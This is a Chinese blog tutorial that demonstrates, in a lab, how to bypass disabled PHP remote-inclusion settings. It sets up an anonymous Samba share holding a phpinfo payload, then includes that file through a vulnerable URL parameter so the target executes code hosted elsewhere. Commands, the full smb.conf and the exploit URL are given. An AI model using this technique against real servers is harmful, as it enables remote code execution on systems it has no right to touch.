【网络安全】利用samba服务绕过未开启文件包含配置

简介: 利用samba服务绕过未开启文件包含配置

 

博主昵称:跳楼梯企鹅
创作初心:本博客的初心为与技术朋友们相互交流,每个人的技术都存在短板,博主也是一样,虚心求教,希望各位技术友给予指导。
博主座右铭:发现光,追随光,成为光,散发光;
博主研究方向:渗透测试、机器学习 ;
博主寄语:感谢各位技术友的支持,您的支持就是我前进的动力 ;

图片.pngimage.gif

一、什么是smb服务?

SMB(全称是Server Message Block)是一个网络协议名,它能被用于Web连接和客户端与服务器之间的信息沟通。SMB最初是IBM的贝瑞·费根鲍姆(Barry Feigenbaum)研制的,其目的是将DOS操作系统中的本地文件接口“中断13”改造为网络文件系统说白了就是文件共享

图片.png

二、实验开始

利用samba服务来绕过include没有开启两个配置的限制,实操截图

1.打开kail

image.gif图片.png

2.远程访问测试

这里很明显,无法包含,那么怎么就要用到其他方式

image.gif图片.png

3.打开apache2服务

image.gif图片.png

4.下载samba服务

图片.png

如果显示下图,说明安装成功

image.gif图片.png

5.创建一个共享文件

命令:mkdir pub

image.gif图片.png

6.给文件夹赋予权限

命令:chmod 0555 pub

命令:chown -R nobody:nogroup pub

image.gif图片.png

7.清空配置文件

代码:echo > /etc/samba/smb.conf

image.gif图片.png

8.编译samba服务

内容:

[global]

workgroup = WORKGROUP      

server string = Samba Server %v

netbios name = indishell-lab

security = user

map to guest = bad user

name resolve order = bcast host

dns proxy = no

bind interfaces only = yes

[ica]

path = /var/www/html/pub

writable = no

guest ok = yes

guest only = yes

read only = yes

directory mode = 0555

上面内容为匿名访问,也就是说不用账号密码就可以进行访问

image.gif图片.png

9.重启samba

命令:service smbd restart

image.gif图片.png

Windows下打开cmd 测试

image.gif图片.png

成功之后显示

image.gif图片.png

10.分析

这里ica文件对应的其实就是kail系统上的pub文件

image.gif图片.png

11.在pub文件下创建一个phpinfo文件

代码:vi phpinfo.txt

内部输入:<?php phpinfo();?>

image.gif图片.png

12.我们来看下文件ica文件内是不是更新了

image.gif图片.png

发现确实是更新了

13.开始利用

Url:http://127.0.0.1/shine/a.php?b=//虚拟机ip/ica/phpinfo.txt

image.gif图片.png

发现可以不开启远程文件包含的文件,也是可以通过samba服务进行远程文件包含

相关文章
|
27天前
|
安全 网络安全 数据安全/隐私保护
|
16天前
|
网络协议 Linux
图形界面配置网络
本文介绍了在Linux上配置网络服务的步骤。首先打开RHEL-01服务器,找到桌面网络配置选项,进入网络配置面板。点击面板右下角的小齿轮,进入有线配置面板,选择IPv4选项,将地址设置为手动。接下来配置IP地址、子网掩码、网关和DNS服务器。配置完成后,使用新的IP地址进行访问。
32 4
图形界面配置网络
|
11天前
|
云安全 人工智能 安全
阿里云稳居公共云网络安全即服务市占率第一
日前,全球领先的IT市场研究和咨询公司IDC发布了《中国公有云网络安全即服务市场份额,2023:规模稳步增长,技术创新引领市场格局》报告。报告显示,阿里云以27.0%的市场份额蝉联榜首。
|
15天前
|
网络虚拟化 数据安全/隐私保护 数据中心
对比了思科和华为网络设备的基本配置、接口配置、VLAN配置、路由配置、访问控制列表配置及其他重要命令
本文对比了思科和华为网络设备的基本配置、接口配置、VLAN配置、路由配置、访问控制列表配置及其他重要命令,帮助网络工程师更好地理解和使用这两个品牌的产品。通过详细对比,展示了两者的相似之处和差异,强调了持续学习的重要性。
29 2
|
16天前
|
网络协议 Linux
通用网卡配置文件配置网络
本文介绍了在RHEL 7系统中配置网络的方法。首先,通过编辑位于`/etc/sysconfig/network-scripts`目录下的网卡配置文件(例如`ifcfg-ens33`),设置静态IP地址、子网掩码、网关和DNS等参数。接着,使用`systemctl`命令重启网络服务,确保配置生效。此外,还介绍了使用`nmtui`图形界面工具进行网络配置的步骤,包括修改IP地址、保存配置和重启网络。最后,通过`ip addr`或`ifconfig`命令验证配置是否成功。
46 2
|
16天前
|
人工智能 安全 Cloud Native
|
25天前
|
运维 安全 5G
|
30天前
|
Docker 容器
docker swarm启动服务并连接到网络
【10月更文挑战第16天】
27 5
|
1月前
|
负载均衡 网络协议 关系型数据库
docker swarm 使用网络启动服务
【10月更文挑战第15天】
27 4
|
1月前
|
Docker 容器
docker swarm 在服务中使用网络
【10月更文挑战第14天】
22 2
下一篇
无影云桌面